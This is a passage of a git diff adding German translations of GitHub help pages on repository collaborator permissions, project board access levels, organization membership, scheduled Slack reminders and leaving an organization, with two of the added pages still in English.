+| Verwalten der Datenverwendung für ein privates Repository | [Verwalten von Datenverwendungseinstellungen für dein privates Repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository)|{% endif %}
+| Codeinhaber für das Repository definieren | [Informationen zu Codeinhabern](/github/creating-cloning-and-archiving-repositories/about-code-owners) |
+| Archiv des Repositorys | [Archivierung von Repositorys](/repositories/archiving-a-github-repository/archiving-repositories) |{% ifversion fpt or ghec %}
+| Erstellen von Sicherheitsempfehlungen | [Informationen zu Sicherheitsempfehlungen für Repositorys](/github/managing-security-vulnerabilities/about-github-security-advisories) |
+| Anzeigen einer Sponsorschaltfläche | [Anzeigen einer Sponsorschaltfläche in deinem Repository](/github/administering-a-repository/displaying-a-sponsor-button-in-your-repository) |{% endif %}
+| Zulassen oder Deaktivieren der automatischen Zusammenführung für Pull Requests | [Verwalten der automatischen Zusammenführung für Pull Requests in deinem Repository](/github/administering-a-repository/managing-auto-merge-for-pull-requests-in-your-repository) | 
+| Verwalten von Webhooks und Bereitstellen von Schlüsseln   | [Verwalten von Bereitstellungsschlüsseln](/developers/overview/managing-deploy-keys#deploy-keys) |
+
+## Projektmitarbeiterzugriff auf ein Repository im Besitz eines persönlichen Kontos
+
+Projektmitarbeiter*innen in einem persönlichen Repository können den Inhalt des Repositorys pullen (lesen) und Änderungen an das Repository pushen (schreiben).
+
+{% note %}
+
+**Hinweis:** In einem privaten Repository können Repositorybesitzer*innen Projektmitarbeiter*innen ausschließlich Schreibzugriff gewähren. Projektmitarbeiter können keinen schreibgeschützten Zugriff auf Repositorys haben, die zu einem persönlichen Konto gehören.
+
+{% endnote %}
+
+Projektmitarbeiter*innen können auch folgende Aktionen durchführen.
+
+| Aktion | Weitere Informationen |
+| :- | :- |
+| Forken des Repositorys | [Informationen zu Forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks) |
+| Umbenennen eines anderen Branchs als der Standardbranch | [Umbenennen eines Branchs](/github/administering-a-repository/renaming-a-branch) |
+| Erstellen, Bearbeiten und Löschen von Kommentaren zu Commits, Pull Requests und Problemen im Repository | <ul><li>[Informationen zu Issues](/github/managing-your-work-on-github/about-issues)</li><li>[Kommentieren eines Pull Requests](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/commenting-on-a-pull-request)</li><li>[Verwalten störender Kommentare](/communities/moderating-comments-and-conversations/managing-disruptive-comments)</li></ul> |
+| Erstellen, Zuweisen, Schließen und erneutes Öffnen von Issues im Repository | [Verwalten der Arbeit mit Issues](/github/managing-your-work-on-github/managing-your-work-with-issues) |
+| Verwalten von Bezeichnungen für Issues und Pull Requests im Repository | [Kennzeichnen von Issues und Pull Requests](/github/managing-your-work-on-github/labeling-issues-and-pull-requests) |
+| Verwalten von Meilensteinen für Issues und Pull Requests im Repository | [Erstellen und Bearbeiten von Meilensteinen für Issues und Pull Requests](/github/managing-your-work-on-github/creating-and-editing-milestones-for-issues-and-pull-requests) |
+| Markieren eines Issues oder Pull Requests im Repository als Duplikat | [Informationen zu Duplikaten von Issues und Pull Requests](/github/managing-your-work-on-github/about-duplicate-issues-and-pull-requests) |
+| Erstellen, Zusammenführen und Schließen von Pull Requests im Repository | [Vorschlagen von Änderungen an deiner Arbeit mit Pull Requests](/github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests) |
+| Aktivieren und Deaktivieren der automatischen Zusammenführung für einen Pull Request | [Automatisches Zusammenführen eines Pull Requests](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/automatically-merging-a-pull-request)
+| Anwenden von vorgeschlagenen Änderungen an Pull Requests im Repository |[Aufnehmen von Feedback in deinem Pull Request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/incorporating-feedback-in-your-pull-request) |
+| Erstellen eines Pull Requests von einem Fork des Repositorys | [Erstellen eines Pull Requests vom einem Fork des Repositorys](/github/collaborating-with-issues-and-pull-requests/creating-a-pull-request-from-a-fork) |
+| Übermitteln einer Überprüfung eines Pull Requests, der die Zusammenführungsfähigkeit des Pull Requests beeinflusst | [Überprüfen vorgeschlagener Änderungen in einem Pull Request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) |
+| Erstellen und Bearbeiten eines Wikis für das Repository | [Informationen zu Wikis](/communities/documenting-your-project-with-wikis/about-wikis) |
+| Erstellen und Bearbeiten von Releases für das Repository | [Verwalten von Releases in einem Repository](/github/administering-a-repository/managing-releases-in-a-repository) |
+| Handeln als Codebesitzer*in für das Repository | [Informationen zu Codeinhabern](/articles/about-code-owners) |{% ifversion fpt or ghae or ghec %}
+| Veröffentlichen, Anzeigen oder Installieren von Paketen | [Veröffentlichen und Verwalten von Paketen](/github/managing-packages-with-github-packages/publishing-and-managing-packages) |{% endif %}
+| Sich selbst als Mitarbeiter aus dem Repository entfernen | [Sich selbst aus dem Repository eines Projektmitarbeiters entfernen](/github/setting-up-and-managing-your-github-user-account/removing-yourself-from-a-collaborators-repository) |
+
+## Weitere Informationsquellen
+
+- [Repositoryrollen für eine Organisation](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md
new file mode 100644
index 0000000000..661038f81f
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/permission-levels-for-a-project-board-owned-by-a-personal-account.md
@@ -0,0 +1,70 @@
+---
+title: Berechtigungsstufen für ein Projektboard im Besitz eines persönlichen Kontos
+intro: 'Ein Projektboard im Besitz eines persönlichen Kontos verfügt über zwei Berechtigungsebenen: den Projektboardbesitzer und die Mitarbeiter*innen.'
+redirect_from:
+  - /articles/permission-levels-for-user-owned-project-boards
+  - /github/setting-up-and-managing-your-github-user-account/permission-levels-for-user-owned-project-boards
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Project board permissions
+ms.openlocfilehash: 353b9ac497abc7110437aafdf691ca48a3ff6cec
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145165004'
+---
+## Zuweisen von Benutzerrollen und Berechtigungen
+
+Es gibt nur einen Besitzer eines benutzereigenen Projektboards. Diese Berechtigung kann nicht mit einem anderen persönlichen Konto geteilt werden. Neben dem Inhaber können auch andere Personen an Projektboards mitarbeiten.
+
+Für Projektboard-Mitarbeiter gibt es drei Berechtigungsstufen:
+
+{% data reusables.project-management.project-board-permissions %}
+
+## Inhaber- und Administratorberechtigungen für ein Benutzer-Projektboard
+
+Der Projektboard-Inhaber und die Mitarbeiter mit Administratorzugriff besitzen die vollständige Kontrolle über das Projektboard. Neben den Berechtigungen, die auch Projektboard-Mitarbeitern erteilt werden, stehen einem Projektboard-Inhaber und Mitarbeitern mit Administratorzugriff zusätzlich folgende Möglichkeiten zur Verfügung:
+
+- [Verwalten, Anzeigen und Hinzufügen von Mitarbeitern](/articles/managing-access-to-your-user-account-s-project-boards)
+- [Konfigurieren eines Projektboards als {% ifversion ghae %}intern{% else %}öffentlich{% endif %} oder privat](/articles/changing-project-board-visibility)
+- [Löschen eines Projektboards](/articles/deleting-a-project-board/)
+- [Schließen eines Projektboards](/articles/closing-a-project-board/)
+- [Erneutes Öffnen eines geschlossenen Projektboards](/articles/reopening-a-closed-project-board)
+
+## Lese- und Schreibberechtigungen für ein Benutzer-Projektboard
+
+Mitarbeiter mit Lesezugriff auf ein Benutzer-Projektboard können Folgendes tun:
+
+- Ein Projektboard anzeigen
+- Ein Projektboard kopieren
+- Tickets auf einem Projektboard filtern
+
+Mitarbeiter mit Schreibzugriff auf ein Benutzer-Projektboard können Folgendes tun:
+
+- Ein Projektboard anzeigen
+- Ein Projektboard kopieren
+- Tickets auf einem Projektboard filtern
+- Ein Projektboard bearbeiten
+- Ein Repository mit einem Projektboard verknüpfen
+- Automatisierung für Projektboards konfigurieren
+- Ein Projektboard kopieren
+- Issues und Pull Requests zu einem Projektboard hinzufügen
+- Hinweise zu einem Projektboard hinzufügen
+- Fortschritt in deinem Projektboard verfolgen
+- Tickets auf einem Projektboard archivieren
+
+## Sichtbarkeit des Projektboards
+
+Du kannst die Sichtbarkeit des Projektboards von privat in {% ifversion ghae %}intern{% else %}öffentlich{% endif %} und wieder zurück ändern. Standardmäßig sind Benutzer-Projektboards privat. Weitere Informationen findest du unter [Ändern der Sichtbarkeit von Projektboards](/articles/changing-project-board-visibility).
+
+## Weiterführende Themen
+
+  - [Verwalten des Zugriffs auf die Projektboards deines persönlichen Kontos](/articles/managing-access-to-your-user-account-s-project-boards)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/what-does-the-available-for-hire-checkbox-do.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/what-does-the-available-for-hire-checkbox-do.md
new file mode 100644
index 0000000000..74c8a54e5c
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/what-does-the-available-for-hire-checkbox-do.md
@@ -0,0 +1,34 @@
+---
+title: Funktionsweise des Kontrollkästchens „Available for hire“ (Zum Einstellen verfügbar)
+intro: 'Aktiviere das Kontrollkästchen **Auf Stellensuche**, um GitHub Jobs-Beiträge auf GitHub anzuzeigen.'
+redirect_from:
+  - /articles/what-does-the-available-for-hire-checkbox-do
+  - /github/setting-up-and-managing-your-github-user-account/what-does-the-available-for-hire-checkbox-do
+  - /github/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/what-does-the-available-for-hire-checkbox-do
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Available for hire checkbox
+ms.openlocfilehash: 1f7f188ae86093478385f7f569ec37c3479a7661
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145164952'
+---
+{% warning %}
+
+Hinweis zur Veraltung: GitHub Jobs ist jetzt veraltet. Das letzte Datum zum Posten einer Stelle war der 19. Mai 2021. Die Website von GitHub Jobs wurde am 19. August 2021 vollständig abgeschaltet und weist nun eine Weiterleitung zum [GitHub-Blogbeitrag](https://github.blog/changelog/2021-04-19-deprecation-notice-github-jobs-site/) auf, in dem du weitere Informationen über die nun vollständige Abschaltung von GitHub Jobs findest.
+
+{% endwarning %}
+
+Das [GitHub Jobs](https://jobs.github.com/)-Board ist eine großartige Möglichkeit, eine Stelle in der IT-Branche zu finden. Du kannst die in deinem GitHub-Dashboard eingestellten Stellenangebote ansehen.
+
+![GitHub Jobs-Anzeigen im Dashboard](/assets/images/help/settings/jobs-ads-on-dashboard.png)
+
+{% data reusables.user-settings.access_settings %}
+2. Wähle **Für Einstellung verfügbar** unter „Stellenprofil“ aus, und klicke dann auf **Stellenprofil speichern**.
+    ![Einstellungen für Stellenprofil](/assets/images/help/settings/jobs-profile-settings.png)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md
new file mode 100644
index 0000000000..265d0f819e
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/about-organization-membership.md
@@ -0,0 +1,59 @@
+---
+title: Informationen zur Organisationsmitgliedschaft
+intro: 'Du kannst Mitglied einer Organisation werden, um mit Mitarbeitern oder Open-Source-Mitwirkenden in vielen Repositorys gleichzeitig zusammenzuarbeiten.'
+redirect_from:
+  - /articles/about-organization-membership
+  - /github/setting-up-and-managing-your-github-user-account/about-organization-membership
+  - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/about-organization-membership
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Organization membership
+ms.openlocfilehash: be1f2901ed18c98edf5e05c453dec5d3c443955f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145165049'
+---
+Ein Organisationsinhaber kann Dich einladen, seiner Organisation als Mitglied, Abrechnungsmanager oder Inhaber beizutreten. Ein Organisationsinhaber oder Mitglied mit Administratorberechtigungen für ein Repository kann Dich einladen, als externer Mitarbeiter in einem oder mehreren Repositorys zusammenzuarbeiten. Weitere Informationen findest du unter [Rollen in einer Organisation](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization).
+
+Auf Deiner Profilseite kannst Du auf Organisationen zugreifen, denen Du angehörst. Weitere Informationen findest du unter [Zugreifen auf eine Organisation](/articles/accessing-an-organization).
+
+Wenn Du eine Einladung annimmst, einer Organisation beizutreten, können die Inhaber der Organisation unter Umständen Folgendes sehen:
+
+- Deine öffentlichen Profilinformationen
+- Ihre E-Mail-Adresse
+- Ob die Zwei-Faktor-Authentifizierung bei Dir aktiviert hast
+- Repositorys, auf die Du innerhalb der Organisation Zugriff hast, und Deine Zugriffsebene
+- Bestimmte Aktivitäten innerhalb der Organisation
+- Das Land der Antragstellung
+- Deine IP-Adresse
+
+Weitere Informationen findest du in den <a href="/articles/github-privacy-statement/" class="dotcom-only">Datenschutzbestimmungen von {% data variables.product.prodname_dotcom %}</a>.
+
+  {% note %}
+
+  **Hinweis:** Inhaber*innen können die IP-Adressen der Mitglieder nicht im Auditprotokoll der Organisation anzeigen. Bei einem Sicherheitsvorfall, beispielsweise einer Kontokompromittierung oder einer versehentlichen Weitergabe vertraulicher Daten, können Unternehmensinhaber Details zum Zugriff auf private Repositorys anfordern. Zu den von uns übermittelten Informationen kann auch Deine IP-Adresse gehören.
+
+  {% endnote %}
+
+Die Sichtbarkeit Deiner Mitgliedschaft in einer Organisation ist standardmäßig auf privat eingestellt. Du kannst wählen, ob Du einzelne Mitgliedschaften in Organisationen in Deinem Profil veröffentlichen möchtest. Weitere Informationen findest du unter [Veröffentlichen oder Ausblenden der Organisationsmitgliedschaft](/articles/publicizing-or-hiding-organization-membership).
+
+{% ifversion fpt or ghec %}
+
+Wenn Deine Organisation zu einem Enterprise-Konto gehört, bist Du automatisch Mitglied des Enterprise-Kontos und für Inhaber des Enterprise-Kontos sichtbar. Weitere Informationen findest du unter [Informationen zu Unternehmenskonten](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts){% ifversion fpt %} in der Dokumentation zu {% data variables.product.prodname_ghe_cloud %}.{% else %}.{% endif %}
+
+{% endif %}
+
+Du kannst eine Organisation jederzeit verlassen. Weitere Informationen findest du unter [Entfernen der eigenen Person aus einer Organisation](/articles/removing-yourself-from-an-organization).
+
+## Weiterführende Themen
+
+- "[Informationen zu Organisationen](/articles/about-organizations)"
+- [Verwalten deiner Mitgliedschaft in Organisationen](/articles/managing-your-membership-in-organizations)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md
new file mode 100644
index 0000000000..591420f4fc
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/accessing-an-organization.md
@@ -0,0 +1,32 @@
+---
+title: Auf eine Organisation zugreifen
+intro: 'Um auf eine Organisation zuzugreifen, deren Mitglied du bist, musst du dich in deinem persönlichen Konto anmelden.'
+redirect_from:
+  - /articles/error-cannot-log-in-that-account-is-an-organization
+  - /articles/cannot-log-in-that-account-is-an-organization
+  - /articles/how-do-i-access-my-organization-account
+  - /articles/accessing-an-organization
+  - /github/setting-up-and-managing-your-github-user-account/accessing-an-organization
+  - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/accessing-an-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+ms.openlocfilehash: 3c2e98d1b28d347ba901b6d0feed15aa54c7609c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145164933'
+---
+{% tip %}
+
+**Tipp:** Nur Organisationsbesitzer können die Kontoeinstellungen für eine Organisation einsehen und ändern.
+
+{% endtip %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %}
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md
new file mode 100644
index 0000000000..88ec6af7db
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/index.md
@@ -0,0 +1,33 @@
+---
+title: Ihre Mitgliedschaft in Organisationen verwalten
+intro: |-
+  Wenn du Mitglied einer Organisation bist, kannst du deine Mitgliedschaft veröffentlichen oder ausblenden, die Rollen anderer Benutzer anzeigen und 
+  dich selbst aus der Organisation entfernen.
+redirect_from:
+  - /articles/managing-your-membership-in-organizations
+  - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+children:
+  - /about-organization-membership
+  - /accessing-an-organization
+  - /viewing-peoples-roles-in-an-organization
+  - /requesting-organization-approval-for-oauth-apps
+  - /publicizing-or-hiding-organization-membership
+  - /managing-your-scheduled-reminders
+  - /removing-yourself-from-an-organization
+shortTitle: Manage organization membership
+ms.openlocfilehash: 6cd19e2321d928b73942d99f46a48b0501d813fb
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145164813'
+---
+
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md
new file mode 100644
index 0000000000..acdd51ef7a
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/managing-your-scheduled-reminders.md
@@ -0,0 +1,54 @@
+---
+title: Verwalten Deiner geplanten Erinnerungen
+intro: 'Du kannst in Slack Erinnerungen erhalten, wenn für Dich oder Dein Team Pull Requests auf einen Review warten.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Accounts
+redirect_from:
+  - /github/setting-up-and-managing-your-github-user-account/managing-your-scheduled-reminders
+  - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/managing-your-scheduled-reminders
+shortTitle: Manage scheduled reminders
+ms.openlocfilehash: 7dab3826b1791d3b06b3a2594c3ba132c6d675b4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '145164897'
+---
+## Über geplante Erinnerungen für Benutzer
+
+Geplante Erinnerungen werden verwendet, um sicherzustellen, dass Benutzer sich auf die wichtigsten Review-Anforderungen konzentrieren, die ihre Aufmerksamkeit erfordern. Geplante Erinnerungen für Pull Requests senden Dir in Slack eine Nachricht mit offenen Pull Requests, die Deinen Review zu einem bestimmten Zeitpunkt benötigen. Du kannst beispielsweise planmäßige Erinnerungen so einrichten, dass sie Dir jeden Morgen um 10 Uhr eine Nachricht in Slack zusenden über Pull Requests, die von Dir oder einem Deiner Teams überprüft werden müssen.
+
+Für bestimmte Ereignisse kannst Du auch Echtzeit-Alarmierung für geplante Erinnerungen einrichten. Echtzeit-Alarme werden in Deinen Slack-Kanal gesendet, sobald ein wichtiges Ereignis stattfindet, beispielsweise wenn Du einem Review zugewiesen wirst.
+
+Du kannst geplante Erinnerungen für persönliche oder für Team-Review-Anfragen für Pull Requests in Organisationen festlegen, in denen Du Mitglied bist. Bevor Du eine geplante Erinnerung für Dich selbst erstellen kannst, muss ein Organisationsinhaber Deinen Slack-Arbeitsbereich autorisieren. Weitere Informationen findest du unter [Verwalten geplanter Erinnerungen für deine Organisation](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization).
+
+{% data reusables.reminders.scheduled-reminders-limitations %}
+
+## Erstellen geplanter Erinnerungen für dein persönliches Konto
+
+{% data reusables.user-settings.access_settings %} {% data reusables.reminders.scheduled-reminders %}
+1. Klicke neben der Organisation, für die du Erinnerungen planen möchtest, auf **Bearbeiten**.
+![Schaltfläche zum Bearbeiten geplanter Erinnerungen](/assets/images/help/settings/scheduled-reminders-org-choice.png) {% data reusables.reminders.add-reminder %} {% data reusables.reminders.authorize-slack %} {% data reusables.reminders.days-dropdown %} {% data reusables.reminders.times-dropdowns %}
+8. Um geplante Erinnerungen für Reviews zu erhalten, die dir zugewiesen wurden, kannst du optional **Dir zugewiesene Reviewaufträge** auswählen.
+![Kontrollkästchen „Dir zugewiesene Reviewaufträge“](/assets/images/help/profile/scheduled-reminders-your-requests.png)
+9. Um geplante Erinnerungen für Reviews zu erhalten, die einem Team zugewiesen wurden, dem du angehörst, kannst du optional **Deinem Team zugewiesene Reviewaufträge** auswählen.
+![Kontrollkästchen „Deinem Team zugewiesene Reviewaufträge“](/assets/images/help/profile/scheduled-reminders-your-team-requests.png) {% data reusables.reminders.real-time-alerts %} ![Kontrollkästchen „Echtzeitbenachrichtigungen aktivieren“](/assets/images/help/settings/scheduled-reminders-real-time-alerts-personal.png) {% data reusables.reminders.create-reminder %}
+
+## Erstellen geplanter Erinnerungen für dein persönliches Konto
+{% data reusables.user-settings.access_settings %} {% data reusables.reminders.scheduled-reminders %}
+1. Klicke neben der Organisation, für die du geplante Erinnerungen bearbeiten möchtest, auf **Bearbeiten**.
+![Schaltfläche „Geplante Erinnerungen bearbeiten“](/assets/images/help/settings/scheduled-reminders-org-choice.png) {% data reusables.reminders.edit-page %} {% data reusables.reminders.update-buttons %}
+
+## Löschen geplanter Erinnerungen für dein persönliches Konto
+{% data reusables.user-settings.access_settings %} {% data reusables.reminders.scheduled-reminders %}
+1. Klicke neben der Organisation, für die du Erinnerungen löschen möchtest, auf **Bearbeiten**.
+![Schaltfläche „Geplante Erinnerungen bearbeiten“](/assets/images/help/settings/scheduled-reminders-org-choice.png) {% data reusables.reminders.delete %}
+
+## Weiterführende Themen
+
+- [Verwalten geplanter Erinnerungen für deine Organisation](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization)
+- [Verwalten geplanter Erinnerungen für dein Team](/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
new file mode 100644
index 0000000000..afb718cc6e
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership.md
@@ -0,0 +1,35 @@
+---
+title: Mitgliedschaft in einer Organisation veröffentlichen oder ausblenden
+intro: 'Wenn du öffentlich mitteilen möchtest, zu welchen Organisationen du gehörst, kannst du die Avatare der Organisationen in deinem Profil anzeigen.'
+redirect_from:
+  - /articles/publicizing-or-concealing-organization-membership
+  - /articles/publicizing-or-hiding-organization-membership
+  - /github/setting-up-and-managing-your-github-user-account/publicizing-or-hiding-organization-membership
+  - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/publicizing-or-hiding-organization-membership
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Show or hide membership
+ms.openlocfilehash: 89f9c7ee5cae6215412fd20dc0590f4f8dc5bf0b
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: '147881179'
+---
+![Feld „Organizations“ (Organisationen) im Profil](/assets/images/help/profile/profile_orgs_box.png)
+
+## Sichtbarkeit Deiner Organisationsmitgliedschaft ändern
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.people %}
+4. Suche in der Liste der Mitglieder Deinen Benutzernamen. Wenn die Liste sehr umfangreich ist, kannst Du Deinen Benutzernamen über das Suchfeld finden.
+![Suchfeld für Organisationsmitglieder](/assets/images/help/organizations/member-search-box.png)
+5. Wähle im Menü rechts neben Deinem Benutzernamen eine neue Option für die Sichtbarkeit aus:
+    - Um deine Mitgliedschaft zu veröffentlichen, wähle **Öffentlich** aus.
+    - Um deine Mitgliedschaft auszublenden, wähle **Privat** aus.
+  ![Link für die Sichtbarkeit von Organisationsmitgliedern](/assets/images/help/organizations/member-visibility-link.png)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
new file mode 100644
index 0000000000..333584aeb3
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/removing-yourself-from-an-organization.md
@@ -0,0 +1,34 @@
+---
+title: Removing yourself from an organization
+intro: 'If you''re an outside collaborator or a member of an organization, you can leave the organization at any time.'
+redirect_from:
+  - /articles/how-do-i-remove-myself-from-an-organization
+  - /articles/removing-yourself-from-an-organization
+  - /github/setting-up-and-managing-your-github-user-account/removing-yourself-from-an-organization
+  - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization
+  - /account-and-profile/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/removing-yourself-from-an-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Accounts
+shortTitle: Leave an organization
+---
+{% ifversion fpt or ghec %}
+
+{% warning %}
+
+**Warning:** If you're currently responsible for paying for {% data variables.product.product_name %} in your organization, removing yourself from the organization **does not** update the billing information on file for the organization. If you are currently responsible for billing, **you must** have another owner or billing manager for the organization [update the organization's payment method](/articles/adding-or-editing-a-payment-method).
+
+For more information, see "[Transferring organization ownership](/articles/transferring-organization-ownership)."
+
+{% endwarning %}
+
+{% endif %}
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.organizations %}
+3. Under "Organizations", find the organization you'd like to remove yourself from, then click **Leave**.
+  ![Leave organization button with roles shown](/assets/images/help/organizations/context-leave-organization-with-roles-shown.png)
diff --git a/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
new file mode 100644
index 0000000000..e30cee7a71
--- /dev/null
+++ b/translations/de-DE/content/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps.md
@@ -0,0 +1,37 @@
+---
+title: Requesting organization approval for OAuth Apps
+intro: 'Organization members and outside collaborators can request that an owner approve access to organization resources for {% data variables.product.prodname_oauth_apps %}.'
+redirect_from:
+  - /articles/requesting-organization-approval-for-third-party-applications
+  - /articles/requesting-organization-approval-for-your-authorized-applications
+  - /articles/requesting-organization-approval-for-oauth-apps
+  - /github/setting-up-and-managing-your-github-user-account/requesting-organization-approval-for-oauth-apps
+  - /github/setting-up-and-managing-your-github-user-account/managing-your-membership-in-organizations/requesting-organization-approval-for-oauth-apps
